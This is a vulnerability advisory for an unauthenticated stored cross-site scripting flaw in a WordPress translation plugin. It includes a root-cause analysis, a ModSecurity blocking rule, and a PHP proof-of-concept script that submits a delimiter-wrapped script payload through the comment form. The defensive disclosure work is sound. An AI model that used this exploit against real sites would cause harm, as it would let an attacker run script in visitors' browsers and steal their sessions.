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Published : November 17, 2026

CVE-2026-125053: WEB-Translation <= 2.0.7 Unauthenticated Stored Cross-Site Scripting via Comment Content via `#!etmst#`/`#!etmen#` Delimiter Substitution PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.0.7
Patched Version —
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125053 (metadata-based): The WEB-Translation eTranslation Multilingual plugin for WordPress (slug etranslation-multilingual) through version 2.0.7 is vulnerable to unauthenticated stored cross-site scripting via the comment content parameter. Exploitation requires a configured secondary language and open comments on the target post. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N (score 7.2) indicates a network-accessible, low-complexity attack with no privileges required and no user interaction, but with scope change and low confidentiality/integrity impact. No patched version is available.

The root cause, inferred from CWE-79 and the description, is improper neutralization of user input during web page generation. The plugin substitutes custom delimiters (#!etmst# and #!etmen#) in comment content to wrap translated segments without sanitizing or escaping the resulting markup. Because the stored payload contains no literal HTML angle brackets at save time, WordPress core KSES filtering does not strip it. Atomic Edge cannot confirm the exact code path without a diff, but the metadata strongly implies the plugin processes comment text through a regex or string replacement that materializes the delimiters into script tags on secondary-language pages.

Exploitation is unauthenticated. An attacker submits a comment to any post with comments open, embedding the delimiters around script content in the comment field. When a visitor loads the post under a secondary-language URL slug, the plugin converts the delimiters into executable markup, and the injected script runs in the visitor’s browser. Atomic Edge infers the attack surface is the standard WordPress comment submission endpoint (wp-comments-post.php) rather than a plugin-specific AJAX action. The metadata does not name a custom REST route or AJAX handler, so the virtual patch targets comment submissions containing the literal delimiter tokens.

The fix likely requires sanitizing comment content before storage or escaping output when the plugin renders translated comments. The plugin must neutralize the #!etmst# and #!etmen# delimiters so they cannot become HTML tags, and it must apply esc_html or wp_kses on translated output. Atomic Edge recommends the vendor remove the delimiter substitution for untrusted comment data or restrict translation rendering to sanitized strings.

The impact is stored XSS executing in the context of any visitor viewing the affected post under a secondary-language URL. An attacker can steal session cookies, perform actions as authenticated users, inject further malicious content, or redirect visitors. The scope change in the CVSS vector reflects that the vulnerable component (comment handling) affects resources beyond its security scope (the rendered page and user browser).

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125053 (metadata-based)
# Blocks comment submissions containing the plugin's translation delimiter tokens.
# The CVE names the delimiters #!etmst# and #!etmen# as the XSS substitution markers.
# Scope: standard WordPress comment endpoint only, to avoid false positives elsewhere.
SecRule REQUEST_URI "@rx ^/wp-comments-post.php$" 
  "id:2026125053,phase:2,deny,status:403,chain,msg:'CVE-2026-125053 WEB-Translation delimiter XSS via comment',severity:'CRITICAL',tag:'CVE-2026-125053',tag:'attack-xss'"
  SecRule ARGS_POST:comment "@rx #!etm(st|en)#" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-125053 - WEB-Translation <= 2.0.7 - Unauthenticated Stored XSS via Comment Content via #!etmst#/#!etmen# Delimiter Substitution
//
// Assumptions (inferred from CVE metadata):
// 1. The attack vector is the standard WordPress comment form (wp-comments-post.php).
// 2. The plugin replaces #!etmst# and #!etmen# delimiters with script tags on secondary-language pages.
// 3. A secondary language is configured and comments are open on the target post.
// 4. The target post ID is known (default 1). Adjust as needed.

$target_url = 'http://example.com'; // Change to target WordPress site
$post_id    = 1;                    // Target post with comments open

// Delimiter-wrapped payload. The plugin substitutes these tokens into <script> and </script>.
// The inner JavaScript runs in the visitor's browser when the secondary-language page renders.
$payload = '#!etmst#alert(document.domain)#!etmen#';

$comment_data = [
    'comment_post_ID'      => $post_id,
    'comment'              => $payload,
    'author'               => 'AtomicEdgePoC',
    'email'                => 'poc@atomicedge.example',
    'url'                  => '',
    'submit'               => 'Post Comment',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, rtrim($target_url, '/') . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    fwrite(STDERR, "Request failed.n");
    exit(1);
}

// A 302 redirect back to the post usually indicates the comment was accepted.
// Moderation settings may still hold the comment for review.
echo "HTTP status: {$http_code}n";
echo "Comment submitted with delimiter-wrapped payload.n";
echo "Visit the post under a secondary-language URL slug to trigger execution.n";

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